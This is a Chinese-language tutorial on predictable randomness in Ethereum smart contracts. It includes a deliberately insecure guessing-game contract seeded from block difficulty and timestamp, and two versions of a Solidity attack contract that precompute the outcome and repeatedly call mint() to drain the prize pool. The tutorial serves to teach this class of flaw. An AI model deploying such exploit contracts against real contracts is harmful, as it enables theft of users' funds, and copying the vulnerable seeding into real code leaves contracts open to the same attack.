智能合约中的随机数

在智能合约中随机数经常被用到,但是我们知道,这些生成的随机数都是伪随机数,当生成的随机数不是足够安全的时候就会产生漏洞。随机数攻击,就是针对智能合约的随机数生成算法进行攻击,预测智能合约的随机数。

目前来说常见的随机数获取有两种:使用区块变量生成随机数使用预言机来生成随机数

关于使用区块变量生成随机数,需要用到区块中的函数,并用区块变量作为参数来生成随机数。由区块数据生成的随机数可能会限制普通用户预测随机数的可能性,但是并不能限制矿工作恶,矿工可以决定一个区块是否被广播,他们挖出了一个区块不是一定要广播出去也可以直接扔掉,这个就叫矿工的选择性打包。他们可以持续尝试生成随机数,直至得到想要的结果再广播出去。当然,矿工会这样做的前提是有足够的的利益诱惑,例如可以获得一个很大的奖励池中的奖励,因此使用区块变量获取随机数的方法更适合于一些随机数不属于核心业务的应用。

关于使用预言机来生成随机数,预言机是专门为生成随机数种子而搭建的链上或者链下的服务。除了使用第三方服务,也可以由 DApp 开发商自己搭建一个链下服务提供随机数,这种在链上获取链下数据的场景通常是通过链上预言机的方式来实现。这种方法的安全性依赖第三方,所以同样存在安全风险。

在僵尸工厂中,一开始产生僵尸的dna就属于区块变量生成随机数,根据僵尸的名字进行哈希,最后取合适位数作为该僵尸的dna,这里用到的是Ethereum 内部的一个散列函数keccak256,它用了SHA3版本。一个散列函数基本上就是把一个字符串转换为一个256位的16进制数字。字符串的一个微小变化会引起散列数据极大变化。这在 Ethereum 中有很多应用,但是现在我们只是用它造一个伪随机数。虽然这里生成的随机数并不是真随机数,但是安全性足够了并不会造成什么影响,所以这里可以用这种方法生成随机数。

但是有的合约中,随机数的安全性非常重要,当使用可被预测的随机数种子生成随机数的时候,一旦随机数生成的算法被攻击者猜测到,或通过逆向等其他方式拿到,攻击者就可以根据随机数的生成算法,预测游戏即将出现的随机数,实现随机数预测,达到攻击目的。

示例:

猜数字游戏合约

游戏玩家随时可以调用一个合约函数 mint(),这时 mint 函数内会产生一个随机数。
如果这个随机数是奇数的话,就表示此次调用中奖了,合约将给予游戏玩家一定的奖励。
如果这个随机数是偶数,就表示没有中奖。

被攻击者合约 Random,一句一注释版本:

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Random {event Log(string); //事件Logmapping (uint256 => bool) tokenId_luckys; //映射tokenId_luckys,用于存储// 生成随机数确定是否中奖,如果中奖则转账给中奖者function mint() public payable returns(bool){//原本没有输出,为了方便理解加上了bool randLucky = _getRandom(); //调用函数生成随机数,返回是否中奖uint256 token_Id = _totalMinted(); //初始值1tokenId_luckys[token_Id] = randLucky; //存入映射if (tokenId_luckys[token_Id] == true){//判断是否中奖/*// 原始代码:中奖逻辑,中奖者奖励1.9倍require(payable(msg.sender).send((price * 190) / 100));require(payable(widthdrawAddress).send((price * 10) / 100));*/// 测试代码require(payable(msg.sender).send(1 ether));//向获奖账户支付一个ether }return randLucky;}function _getRandom() private view returns(bool){uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp)));//使用区块变量生成随机数uint256 rand = random % 2;//取随机数的末位if(rand == 0){//如果是偶数则值为false,否则为truereturn false;}else {return true;}}// 查看奖池余额function getBalance() external view returns(uint256) {return address(this).balance;}function _totalMinted() private pure returns(uint256) {//只能在合约内部被调用的私有函数return 1;}// 设置部署时可以转入 ethconstructor() payable{}}

在线编译器进行编译、部署
先放进去2个ether

运行尝试,
发现生成的是奇数,账户里的ether减少了1

继续运行,发现生成了一个偶数,余额不变

攻击者合约 Attack

可以看出,这个游戏是必须要求生成的随机数是不可预测的。
但是这里用了使用区块链变量来生成随机数的算法,这里生成是随机数变成了可以被攻击者预测到的,这就使得这个游戏是不安全的,甚至有账户金额被清空的风险。

攻击目标合约函数 attack(address _random) ,参数是攻击目标合约的地址
使用了一个死循环,不断判断目标合约的余额,直至取光里面所有的 Eth。
循环过程中,计算由当前区块的难度值和时间戳产生的哈希值,如果不符合要求,就返回等待下一个区块。
如果符合要求,调用目标合约的mint函数,保证中奖,取走奖金。

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Attack {event Log(string);// 攻击目标合约,参数是目标合约地址function attack(address _random) external payable {for (;;) {//死循环// 判断攻击目标合约的余额,如果小于 1 个 ether,表示取光,就返回if (payable(_random).balance < 1) {emit Log("All have been taken out");return;}// 计算由当前区块的难度值和时间戳产生的哈希值,用作随机数// 如果随机数是偶数,表示本区块不会中奖,先返回,等待下一个区块if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) {emit Log("failed to get rand, wait 10 seconds");//接口输出return;}// 如果随机数是奇数,表示已经中奖,那么立刻调用攻击目标的mint函数,获取奖励(bool ok,) = _random.call(abi.encodeWithSignature("mint()"));if( !ok ){emit Log("failed to call mint()");return;}else{emit Log("succeeded getting eth");}} }// 查看获利余额function getBalance() external view returns(uint256) {return address(this).balance;}// 接收攻击获得的Ethreceive() external payable {}}

攻击合约者 Attack 调用目标合约 Random 的方法时,由于两者处于同一个区块,所以当前区块的 difficulty 和 timestamp 在两个合约中完全相同。于是,攻击者合约 Attack 使用相同的算法,预先计算出随机数,判断能否中奖。如果能够中奖,再调用目标合约 Random,那么肯定能够得到奖励。如果不能中奖,就等待几秒钟,当区块链的下一个区块生成时,再进行测试。

所以,攻击者合约能够事先预知结果,最终会把奖池撸光。

部署实验的时候可以先不进行循环,代码可以改为

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Attack {event Log(string);function attack(address _random) external payable {if (payable(_random).balance < 1){emit Log("All have been taken out");}else{if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) {emit Log("failed to get rand, wait 10 seconds");}else{(bool ok,) = _random.call(abi.encodeWithSignature("mint()"));if( !ok ){emit Log("failed to call mint()");}else{emit Log("succeeded getting eth");}}}}// 查看获利余额function getBalance() external view returns(uint256) {return address(this).balance;}// 接收攻击获得的Ethreceive() external payable {}}

编译部署随机数游戏,并在奖池中存入1个ether
然后编译部署攻击合约,将游戏合约的地址作为参数传入,运行攻击函数

因为不是循环,所以又可能会发生几种情况,
当产生的是偶数时,会返回
当产生的是奇数时,会去调用游戏函数,赢得ether

另外一种情况会返回游戏合约调用失败,这可能是因为输入的合约地址不正确

最后一种情况是,奖池中的币已经被取完

不足:通过地址调用另一个合约里的函数没有写好

参考:http://www.codebaoku.com/smartcontract/smartcontract-random.html